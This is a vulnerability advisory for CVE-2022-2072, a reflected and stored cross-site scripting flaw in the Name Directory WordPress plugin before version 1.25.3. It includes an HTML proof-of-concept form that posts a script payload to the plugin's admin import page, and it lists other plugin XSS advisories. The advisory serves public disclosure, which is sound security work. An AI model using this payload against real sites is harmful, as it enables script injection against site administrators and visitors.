Name Directory < 1.25.3 – Reflected Cross-Site Scripting | CVE 2022-2072 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting. Furthermore, as the payload is also saved into the database after the request, it leads to a Stored XSS as well

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=name-directory&sub=quick-import" method="POST">
      <input type="hidden" name="mode" value="new" />
      <input type="hidden" name="name" value="<script>alert(/XSS/)</script>" />
      <input type="hidden" name="submit" value="Next step" />
      <input type="submit" value="Submit"/>
    </form>
  </body>
</html>

Affects Plugins

Fixed in 1.25.3

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Donato Di Pasquale

Submitter

Donato Di Pasquale

Submitter website

https://dipa.undo.it/

Submitter twitter

Verified

Yes

WPVDB ID

3014540c-21b3-481c-83a1-ce3017151af4

Timeline

Publicly Published

2022-07-04 (about 3 years ago)

Added

2022-07-04 (about 3 years ago)

Last Updated

2023-04-07 (about 2 years ago)

Other

Published

Title

Published

2025-09-22

Title

VikRestaurants Table Reservations and Take-Away < 1.5.1 - Authenticated (Administrator+) Stored Cross-Site Scripting

Published

2024-02-14

Title

WP Activity Log < 4.6.2 - Unauthenticated Stored Cross-Site Scripting

Published

2022-12-14

Title

WP Table Reloaded <= 1.9.4 - Contributor+ Stored XSS

Published

2025-12-10

Title

Widgets for Google Reviews < 13.2.2 - Contributor+ Stored XSS via trustindex Shortcode

Published

2025-10-10

Title

Colibri Page Builder < 1.0.335 - Authenticated (Contributor+) Stored Cross-Site Scripting via colibri_newsletter Shortcode